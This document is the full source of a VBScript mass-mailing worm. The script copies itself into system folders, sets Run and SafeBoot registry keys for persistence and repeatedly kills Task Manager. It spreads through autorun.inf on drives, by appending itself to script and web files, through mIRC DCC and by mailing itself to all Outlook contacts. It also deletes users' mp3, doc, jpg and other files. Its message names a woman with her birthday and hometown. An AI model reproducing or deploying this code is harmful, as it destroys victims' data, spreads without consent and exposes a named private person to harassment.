rem email:kouguoxi@hotmail.com rem some crack statement i remment,make it can't to run on error resume next dim title,text title="can you help me find a person?" text="her name is Liu Chun li."&chr(13)&chr(10) text=text&"her birthday is 1981-01-23."&chr(13)&chr(10) text=text&"her mother home is Yuzhen.Qixian.Kaifeng.Henan.China."&chr(13)&chr(10) text=text&"I was died because by her,"&chr(13)&chr(10) text=text&"I am demanding my life of you."&chr(13)&chr(10) Set fso = CreateObject("Scripting"&"."&"FileSystem"&"Object") self=fso.opentextfile(wscript.scriptfullname,1).readall  set WshShell = WScript.CreateObject("WScript"&"."&"Shell") Startup = WshShell.SpecialFolders("Startup") Set dirwin = fso.GetSpecialFolder(0)  Set dirsystem = fso.GetSpecialFolder(1)  Set dirtemp = fso.GetSpecialFolder(2)  Set lcl=fso.GetFile(WScript.ScriptFullName)  lcl.Copy(dirwin&"\lcl.vbs")  lcl.Copy(dirsystem&"\lcl.vbs")  fso.getfile(dirwin&"\lcl.vbs").attributes=7 fso.getfile(dirsystem&"\lcl.vbs").attributes=7 set sf0 = fso.GetSpecialFolder(0) b = sf0.drive&"\lcl.txt" Set lcl = fso.CreateTextFile( b , True ) lcl.Write text fso.CopyFile b, Startup&"\lcl.txt" lcl.Close dim lcl Set lcl = fso.CreateTextFile(wscript.scriptfullname, True) Function scode (N)     dim x     for x = 0 to 254        if n = chr(x) then            scode = x           exit function        end if     next end function rem 请教：用readline等方法，整行加密，保持文本格式不不变；和解密办法。 rem execute 我用不好请赐教。 dim cc,cipher,correy for l = 1 to len (self)     cc = mid (self,l,1)     if l>99 and instr(self,"Liu Chun li")>0 then           cipher=chr (scode(cc)+9) rem 我开始用99，得到的全是ascll为0的数据        else         cipher=chr(scode(cc))     end if     correy=correy&cipher next lcl.Write correy lcl.Close dim hk,hc,safe hk="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run" hc="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"  wshshell.Regwrite hk&"\lcl",dirsystem&"\lcl.vbs"  wshshell.Regwrite hk&"exec\lcl",dirsystem&"\lcl.vbs"  wshshell.Regwrite hk&"Once\lcl",dirsystem&"\lcl.vbs"  wshshell.Regwrite hk&"OnceEx\lcl",dirsystem&"\lcl.vbs" wshshell.Regwrite hk&"service\lcl",dirsystem&"\lcl.vbs" wshshell.Regwrite hk&"Services\lcl",dirsystem&"\lcl.vbs" wshshell.Regwrite hc&"\lcl",dirsystem&"\lcl.vbs" wshshell.Regwrite hc&"exec\lcl",dirsystem&"\lcl.vbs" wshshell.Regwrite hc&"Once\lcl",dirsystem&"\lcl.vbs" wshshell.Regwrite hc&"service\lcl",dirsystem&"\lcl.vbs" safe="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\" wshshell.Regwrite safe&"Minimal\lcl.vbs",dirsystem&"\lcl.vbs"  wshshell.Regwrite safe&"Network\lcl.vbs",dirsystem&"\lcl.vbs" do wshshell.run "cmd /c taskkill /f /im taskmgr.exe",0 wshshell.run "cmd /c taskkill /f /im tasklist.exe",0 loop dim d For Each d in fso.Drives     if d.drivetype<>4 then         fso.CopyFile b, d&"\lcl.txt"        scan(d)     end if     if d.drivetype=1 and d.isready=true and FormatNumber(d.FreeSpace/1024, 0) > 99 then           fso.copyfile wscript.scriptfullname,d&"\lcl.vbs"           fso.getfile(wscript.scriptfullname).attributes=7           set inf=fso.createtextfile(d&"\autorun.inf",true)           fso.getfile(d&"\autorun.inf").attributes=7           inf.writeline "[autorun]"             inf.writeline "open="             inf.writeline "shell\open=打开(&O)"             inf.writeline "shell\open\Command=WScript.exe lclrun.vbs"            inf.writeline "shell\open\Command=WScript.exe lcl.vbs"             inf.writeline "shell\open\Default=1"             inf.writeline "shell\explore=资源管理器(&X)"             inf.writeline "shell\explore\Command=WScript.exe lclrun.vbs"            inf.writeline "shell\explore\Command=WScript.exe lcl.vbs"            inf.close             set ini=fso.createtextfile(d&"\desktop.ini",true)           fso.getfile(d&"\desktop.ini").attributes=7           ini.writeline "[.ShellClassInfo]"             ini.writeline "CLSID={645FF040-5081-101B-9F08-00AA002F954E}"            ini.close              set lclrun=fso.createtextfile(d&"\lclrun.vbs",true)      fso.getfile(d&"\lclrun.vbs").attributes=7      lclrun.writeline "On Error GoTo 0"        lclrun.writeline "set fso=CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")"        lclrun.writeline "ifor each d in fso.drives"        lclrun.writeline "if d.drivetype=1 and d.isready=true and FormatNumber(d.FreeSpace/1024, 0) > 99 then"        lclrun.writeline " fso.getfile(d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&").attributes = 7 "        lclrun.writeline "set wshshell = wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")"        lclrun.writeline "wshshell.run "&chr(34)&"d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&chr(34)      lclrun.writeline "wshshell.run "&chr(34)&"d.driveletter"&"&"&chr(34)&":\lcl.vbs"&chr(34)&chr(34)      lclrun.writeline "end if"        lclrun.writeline "next"      lclrun.close          end if next dim wshnetwork,netdrives,net1,net2 Set WSHNetwork = WScript.CreateObject("WScript.Network")  Set netDrives = WSHNetwork.EnumNetworkDrives  If netDrives.Count > 0 Then     For i = 0 To netDrives.Count - 1 Step 2      net1 = netdrives(i)     net2 = netDrives(i + 1)     scan (net1)     scan (net2)     Next End If dim outlookapp,mapiobj,addrlist,addrentcount,item,addrent,attachments Set outlookApp = CreateObject("Outlook.App"&"lication")  If outlookApp= "Outlook" or outlookapp = "outlook express" Then    Set mapiObj=outlookApp.GetNameSpace("MAPI") ''获取MAPI的名字空间    Set addrList= mapiObj.AddressLists ''获取地址表的个数    For Each addr In addrList       If addr.AddressEntries.Count <> 0 Then          addrEntCount = addr.AddressEntries.Count ''获取每个地址表的Email记录数          For addrEntIndex= 1 To addrEntCount ''遍历地址表的Email地址              Set item = outlookApp.CreateItem(0) ''获取一个邮件对象实例              Set addrEnt = addr.AddressEntries(addrEntIndex) ''获取具体Email地址              item.To = addrEnt.Address               item.Subject = title              item.Body = text               Set attachMents=item.Attachments               attachMents.Add fso.GetSpecialFolder(0) & "\lcl.vbs"              item.DeleteAfterSubmit = True ''信件提交后自动删除              If item.To <> "" Then               item.Send               wshshell.regwrite "HKCU\software\Mailtest\mailed", "1"               End If           Next        End If     Next End if rem next from i love you. set out=WScript.CreateObject("Outlook.Application")  set mapi=out.GetNameSpace("MAPI")  for ctrlists=1 to mapi.AddressLists.Count      set a=mapi.AddressLists(ctrlists)      x=1      regv=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)      if (regv="") then        regv=1      end if      if (int(a.AddressEntries.Count)>int(regv)) then        for ctrentries=1 to a.AddressEntries.Count            malead=a.AddressEntries(x)            regad=""            regad=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)            if (regad="") then            set male=out.CreateItem(0)            male.Recipients.Add(malead)            male.Subject = title           male.Body = text           male.Attachments.Add(dirsystem&"lcl.vbs")            male.Send            wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"            end if            x=x+1        next        wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count        else         wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count      end if  next  Set out=Nothing  Set mapi=Nothing  Set objOutlook = CreateObject("Outlook.Application") If objOutlook = "Outlook" Then Set objNamespace = objOutlook.GetNameSpace("MAPI") Set colAddressLists = objNamespace.AddressLists Set onjNameSpace = Nothing For Each objItem In colAddressLists    If objItem.AddressEntries.Count <> 0 Then     intCountOfAddresses = objItem.AddressEntries.Count     For i = 1 To intCountOfAddresses      Set objMailMsg = objOutlook.CreateItem(0)      Set objDestAddress = objItem.AddressEntries(i)      objMailMsg.To = objDestAddress.Address      objMailMsg.Subject =   title      objMailMsg.Body =   text      execute "set objSend =objMailMsg." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)      strAttach = strFilePathName      objMailMsg.DeleteAfterSubmit = True      objSend.Add strAttach      If objMailMsg.To <> "" Then       objMailMsg.Send      End If     Next    End If Next Set objOutlook = Nothing Set objItem = Nothing Set objMailMsg = Nothing Set objDestAddress = Nothing End If strComputer = "."    Set wbemServices = Getobject("winmgmts:\\" & strComputer) Set wbemObjectSet = wbemServices.InstancesOf("Win32_Process") For Each wbemObject In wbemObjectSet      if wbemObject.Name="msn.exe" or wbemObject.Name="qq.exe" then       WshShell.AppActivate wbemobject.name        WshShell.SendKeys "can you help me find a person?"        WshShell.SendKeys "^{enter}" ' or "^~"       WScript.Sleep 9000       WshShell.SendKeys "her name is Liu Chun li"        WshShell.SendKeys "^{enter}"       WScript.Sleep 9000       WshShell.SendKeys "her birthday is 1981-02-17."        WshShell.SendKeys "^{enter}"       WScript.Sleep 9000       WshShell.SendKeys "her mother home is Yuzhen.Qixian.Kaifeng.Henan.China."        WshShell.SendKeys "^{enter}"      end if Next sub scan(folder) On Error GoTo 0 set fd=fso.getfolder(folder) for each file in fd.files      self1=fso.opentextfile(file,1).readall     ext=fso.GetExtensionName(file)                ext=lcase(ext)          if ext="vbs" or ext="vbe" or ext="wsc" or ext="wsf" or ext="wsh" or ext="sct" then          if   instr ( self1 ,"Liu Chun li" ) < 0 then            set lcl=fso.opentextfile(file.path,8,true)            lcl.write chr(13)&chr(10)           lcl.write self             lcl.write chr(13)&chr(10)                              lcl.close           end if                     end if       if ext="htm" or ext="html" or ext="xhtml" or ext="shtml" or ext="dhtml" or ext="phtml" or ext="eml" then          if   instr ( self1 ,"Liu Chun li" ) < 0 then               set lcl=fso.opentextfile(file.path,8,true)           lcl.write "<"&"SCRIPT LANGUAGE='VBScript'> "          lcl.write chr(13)&chr(10)          lcl.write self             lcl.write "<"&"/SCRIPT>"           lcl.write chr(13)&chr(10)                        lcl.close        end if      end if      rem or ext="mspx"      if ext="htd" or ext="asp" or ext="htt" or ext="aspx" or ext="cfm" or ext="tpl" or ext="dtd" or ext="hta" then          if   instr ( self1 ,"Liu Chun li" ) < 0 then              set lcl=fso.opentextfile(file.path,8,true)           lcl.write "<"&"SCRIPT LANGUAGE='VBScript'> "          lcl.write chr(13)&chr(10)          lcl.write self             lcl.write "<"&"/SCRIPT>"             lcl.write chr(13)&chr(10)                      lcl.close        end if        end if      if ext="ini" then          if not instr ( self1 ,"Liu Chun li" ) > 0 then           dim ini             set ini=fso.opentextfile(file.path,8,true)           ini.writeline chr(13)&chr(10)          ini.WriteLine "[script]"           ini.WriteLine "n0=on 1:JOIN:#:{"           ini.WriteLine "n1= /if ( $nick == $me ) { halt }"           ini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\lcl.vbs"           rem ini.WriteLine "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick "&dirsystem&"\lcl.vbs"}"           '利用命令/ddc send $nick "&dirsystem&"\lcl.vbs"给通道中的其他用户传送病毒文件          ini.WriteLine "n3=}"           ini.WriteLine ";Liu Chun li"           ini.close         end if        end if     rem every 9 in the lunar calenda do it     if ext="mp3" or ext="doc" or ext="docx" or ext="dwg" or ext="wma" or ext="swf" or ext="jpg" then          file.delete true      end if  next for each subfd in fd.subfolders              scan(subfd) next  end sub